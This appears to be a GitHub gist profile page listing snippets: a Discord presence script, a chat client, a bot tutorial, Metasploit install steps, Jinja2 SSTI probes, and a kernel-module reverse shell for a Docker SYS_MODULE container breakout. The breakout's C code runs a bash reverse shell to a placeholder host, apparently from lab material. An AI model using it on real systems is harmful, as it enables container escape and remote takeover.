Skip to content

Instantly share code, notes, and snippets.

View Yuma-Tsushima07's full-sized avatar
🟣
Purple Viruses

Yuma Yuma-Tsushima07

🟣
Purple Viruses
View GitHub Profile
@Yuma-Tsushima07
Yuma-Tsushima07 / rpc.py
Last active August 3, 2021 13:26
Discord RPC Python
from pypresence import Presence
import time
client_id = "ID" # Id from the application developer portal
RPC = Presence(client_id)
RPC.connect()
RPC.update(state="Text",
details="Some text",
@Yuma-Tsushima07
Yuma-Tsushima07 / Makefile
Created July 29, 2021 09:36
Makefile for SYS_MODULE based docker breakout
obj-m +=reverse-shell.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
@Yuma-Tsushima07
Yuma-Tsushima07 / reverse-shell.c
Last active September 19, 2023 19:12
Reverse-shell C code for SYS_MODULE based docker breakout
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/<IP-tun0>/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
import threading
import socket
alias = input('Choose an alias --> ')
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(('127.0.0.1', 5000))
def client_receive():
while True:
@Yuma-Tsushima07
Yuma-Tsushima07 / README.md
Last active April 19, 2024 07:18
How to Start making a discord bot?

How to start making a discord bot?

Seeking people who made custom discord bots? Liking their really cool commands and have no idea how they did it? Well no need to fear! This simple tutorial will show you how to make a discord bot in no time!

Intro

  • You will need a Code Editor. I use VSC, some people prefer Sublime Text .
  • I will be using Node.js LTS VERSION to run the bot and install the dependencies.
  • Understanding of Javascript. If you don't have that then click --> HERE
  • Understanding of JSON. If you don't have that then click --> HERE
@Yuma-Tsushima07
Yuma-Tsushima07 / Jinja2-SSTI.md
Last active July 24, 2022 08:21
Jinja2- SSTI

Jinja2 SSTI

Jinja2 - Basic injection

{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
{{config.items()}}

Jinja2 - Template format

@Yuma-Tsushima07
Yuma-Tsushima07 / Gist.md
Created February 27, 2021 19:18
Gist Meme
 // This is gist. 
var gist = this;
// There are many like it, but this one is mine. 
gists //=>  [...]
i.owns(gist) //=> true
// It is my life. 
gist === life //=> true
// I must master it as I must master my life. 
i.mustMaster(gist) &amp;&amp; i.mustMaster(i.life) //=&gt; true
@Yuma-Tsushima07
Yuma-Tsushima07 / Metasploit.md
Last active April 13, 2024 16:53
How to Install Metasploit on Linux?
sudo apt update
sudo apt dist-upgrade
sudo apt autoremove
 
 
cd /tmp
 
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall